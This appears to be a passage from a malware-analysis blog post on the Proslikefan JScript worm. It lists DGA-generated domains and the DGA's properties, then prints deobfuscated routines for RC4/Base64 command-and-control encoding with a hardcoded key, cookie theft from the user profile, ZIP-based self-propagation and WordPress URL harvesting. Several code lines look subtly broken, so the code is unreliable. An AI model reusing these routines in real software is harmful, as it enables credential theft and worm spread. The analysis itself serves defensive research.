python dga.py -d 2016-06-09

xapkoyjya.eu
evdspaag.biz
citsvwqnbb.se
qmbuohxihi.info
mngqtmnt.com
toyxexk.net
qjyoayy.org
wxhfavlpef.ru
eulmebp.in
mpejud.name
....

Characteristics

The next table lists the properties of the DGA. I also included the version from the previous blog post, that only differs in the list of top level domains and the hardcoded magic value.

property DGA from this post DGA from Nov. 2015
type TDD (time-dependent-deterministic) -
generation scheme java.lang.String.hashCode -
seed current date -
magic “prospect” “OK”
domain change frequency daily -
domains per day 10 sld x 10 tld = 100 domains 10 sld x 3 tld = 30 domains
sequence randomized -
wait time between domains none -
top level domains “eu”, “biz”, “se”, “info”, “com”, “net”, “org”, “ru”, “in”, “name” “cc”, “co”, “eu”
second level characters all lowercase letters -
second level domain length between 7 and 12, bias towards shorter domains -

Command and Control Content

The content of the CnC communication is always encrypted.

Encoding and Encryption

Before sending data, it is encrypted with RC4. The resulting binary data is Base64 encoded, which is also escaped to no effect.

rc4_base64enc_escape = function(data) {
    return escape_(base64encode(rc4(rc4key, data)))
}, 
rc4key = unescape("%AB%07%25%7C%E2Fl%16%1E%2A%BA%03J%E5%EF%B4%E3%E2_%F5");
  rc4 = function(key, input) {
        S = [];
        for (i = 0; i < 256; i++) 
            S[i] = i;
        j = 0;
        for (i = 0; i < 256; i++) {
            j = (j + S[i] + key.charCodeAt(i % key.length)) % 256;
            tmp = S[i];
            S[i] = S[j];
            S[j] = tmp;
        }
        i = 0, j = 0, output = "";
        for (i = 0; i < input.length; i++) { 
            i = (i + 1) % 256;
            j = (j + S[i]) % 256;
            tmp = S[i];
            S[i] = S[j];
            S[j] = tmp;
            output += String.fromCharCode(input.charCodeAt(i) ^ S[(S[i] + S[j]) % 256]); 
        }
        return output
    }, 
base64encode = function(binarydata) {
    i = 0, base64data = [], base64index = 0;
    if (!binarydata) 
        return binarydata;
    binarydata += empty_string;
    do {
        c1 = binarydata.charCodeAt(i++);
        c2 = binarydata.charCodeAt(i++);
        c3 = binarydata.charCodeAt(i++);
        c = c1 << 16 | c2 << 8 | c3;
        b1 = c >> 18 & 63;
        b2 = c >> 12 & 63;
        b3 = c >> 6 & 63;
        b4 = c & 63;
        base64data[base64index++] = base64Chars.charAt(b1) + base64Chars.charAt(b2) + 
                base64Chars.charAt(b3) + base64Chars.charAt(b4); 
    } while (i < binarydata.length);
    return base64datastring = base64data.join(empty_string), 
            nr_padding = binarydata.length % 3, 
            (nr_padding ? base64datastring.slice(0, nr_padding - 3) : 
            base64datastring) + "===".slice(nr_padding || 3)
}, 

Decoding and Decryption

Received Data is first striped of whitespace. Then it is Base64 decoded and decrypted with RC4.

unescape_ = unescape;
strip_unescape_base64dec_rc4 = function(data) {
    return rc4(rc4key, base64decode(unescape_(strip(data))))
}, 
base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
base64decode = function(data) {
    if (!data) 
        return data;
    pgocekdm = 0, base64index = 0, binary_data = [], data += empty_string;
    do { 
        b1 = base64Chars.indexOf(data.charAt(base64index++));        
        b2 = base64Chars.indexOf(data.charAt(base64index++));
        b2 = base64Chars.indexOf(data.charAt(base64index++));
        b3 = base64Chars.indexOf(data.charAt(base64index++));
        b = b1 << 18 | b2 << 12 | b2 << 6 | b3;
        c1 = b >> 16 & 255;
        c2 = b >> 8 & 255;
        c3 = b & 255;
        b2 == 64 ? binary_data[pgocekdm++] = String.fromCharCode(c1) : 
                b3 == 64 ? 
                binary_data[pgocekdm++] = String.fromCharCode(c1, c2) : 
                binary_data[pgocekdm++] = String.fromCharCode(c1, c2, c3); 
    } while (base64index < data.length);
    return binary_data.join(empty_string)
},

Unused Routines

There are also many routines in Proslikefan that are never invoked. Maybe the invoking calls have been removed at some point, maybe the routines are still developped, or maybe they are invoked through the Evalute command.

Parses the cookies and stores them in the key-value store.

parse_cookie = function(cookie_name_regex) {
    try {
        cookie_key_value_strings = []; 
        folderCookies = axScriptingFileSystemObject.GetFolder(folderUserProfile + "\\Cookies"); 
        cookies = folderCookies.Files;
        for (cookie = new Enumerator(cookies); !cookie.atEnd(); cookie.moveNext()) {
            cookie_path = cookie.item() + empty_string;
            if (!cookie_path.match(/\.dat/i) && cookie_path.match(cookie_name_regex)) 
                try {
                    cookie_handle = axScriptingFileSystemObject.openTextFile(cookie_path, 1);
                    cookie_content = cookie_handle.readAll(); 
                    cookie_handle.close(); 
                    cookie_content = cookie_content.split("*\n"); 
                    key_values = [];
                    for (i = 0; i < cookie_content.length; i++) {
                        lines = cookie_content[i].split("\n"); 
                        lines.length >= 3 && key_values.push(lines[0] + "=" + lines[1]);
                    }
                    cookie_key_value_strings.push(key_values.join("; ") + ";;")
                } catch (e) {}
        }
        return cookie_key_value_strings
    } catch (e) {
        return !1
    }
}, 

Writing ZIP Files

Write a ZIP header to a file.

zipHeader = [80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];
write_zip_files = function() {
    pgocenudm = []; 
    pgocehodm = shuffle_list(pgocehodm); 
    zipContent = empty_string;
    try {
        axScriptingFileSystemObject.createFolder(envTemp + "\\" + pgocehodm[0])
    } catch (e) {}
    write_this_file(envTemp + "\\" + pgocehodm[0] + "\\" + pgocehodm[0] + ".js");
    for (i = 0; i < zipHeader.length; i++) 
        zipContent += String.fromCharCode(zipHeader[i]);
    zipPath = envTemp + "\\" + randomBase16String() + ".zip";
    try {
        hZipFile = axScriptingFileSystemObject.openTextFile(zipPath, 2, 1); 
        hZipFile.write(zipContent); 
        hZipFile.close(); 
        pgocesrdm = axShellApplication.namespace(zipPath); 
        pgocesrdm.copyhere(envTemp + "\\" + pgocehodm[0]); 
        WScript.sleep(2737); 
        axADODBStream = new ActiveXObject("ADODB.Stream"); 
        axADODBStream.type = 1; 
        axADODBStream.mode = 3; 
        axADODBStream.open(); 
        axADODBStream.loadFromFile(zipPath)
    } catch (e) {}
    for (i = 0; i < pgocezgdm.length; i++)
        if (axScriptingFileSystemObject.folderExists(pgocezgdm[i])) {
            pgocenudm.length == 0 && (pgocenudm = pgoceysdm());
            for (j = 0; j < pgocenudm.length; j++) {
                if (axScriptingFileSystemObject.fileExists(pgocezgdm[i] + "\\" 
                    - pgocenudm[j] + ".zip")) 
                    try {
                        axScriptingFileSystemObject.deleteFile(pgocezgdm[i] + "\\" 
                            - pgocenudm[j] + ".zip"), WScript.sleep(114)
                    } catch (e) {}
                try {
                    axADODBStream.saveToFile(pgocezgdm[i] + "\\" + pgocenudm[j] + ".zip", 2)
                } catch (e) {}
            }
        }
    try {
        axScriptingFileSystemObject.deleteFile(zipPath)
    } catch (e) {}
    try {
        axScriptingFileSystemObject.deleteFolder(envTemp + "\\" + pgocehodm[0])
    } catch (e) {}
}, 

Parsing Wordpress URLs

Parses Wordpress Urls from a webpage, filters common sites and blacklisted top level domains, then stores the results in the key-value store.

regexLink = /href=(\'|")http:\/\/(\S*)("|\')/gi;
regexPopularSites = /(sourceforge|amazon|yahoo|forumer|dictionary|github|googleusercontent|linkedin|pinterest|youtube|quantcast|myspace|bing|wikipedia|addthis|wordpress|facebook|wp|friendster|reference|phpbb|stackoverflow|simplemachines|twitter|archive|google|googleapis|w3|gravatar|conduit|sql|blogspot|blogger)\./i;
parse_urls = function(href) {
    href = href.replace("href=\\\"\\/\\/", "href=\\\"http:\\/\\/");
    urls = [];
    href = href.replace("\\/url?q=", empty_string);
    url = href.match(regexLink);
    for (i = 0; i < url.length; i++) { 
        url[i] = (
                url[i].split("\"")[1] ||
                url[i].split("\'")[1]).replace(quotedChar, "&").split("#")[0],
                url[i].match(regexRemoveHTTP) && 
                !url[i].match(RegExp_("\\.(gov|us|mil)", "i")) && 
                    (url[i].match(regexPopularSites) || 
                    (add_wp_url(url[i]),
                    url[i].match(extensions) || 
                    urls.push(url[i])));
    }
    return urls
}, 
add_wp_url = function(url) {
    return;
    try {
        !url.match(RegExp_("\\?")) && 
        url.match(RegExp_("\\/wp-content\\/", "i")) && 
        (  url_upto_wpcontent = url.split("\\/wp-content\\/")[0] + "\\/wp-content\\/",  
           url_upto_wpcontent in initialize_dictionary(pgocebedm) == 0 && 
           (  add_to_key_value_store("wp", url_upto_wpcontent), 
              pgocebedm.push(url_upto_wpcontent)
           )
        )
    } catch (e) {}
}, 

initialize_dictionary = function(keys) {
    dict = {};
    for (i = 0; i < keys.length; i++) p
        dict[keys[i]] = empty_string;
    return dict
}, 

add_to_key_value_store = function(argA, argB) {
    key_value_store.push([argA, argB]); 
    (key_value_store + empty_string).length > 10240 && submit_key_value_store()
}, 
comments powered by Disqus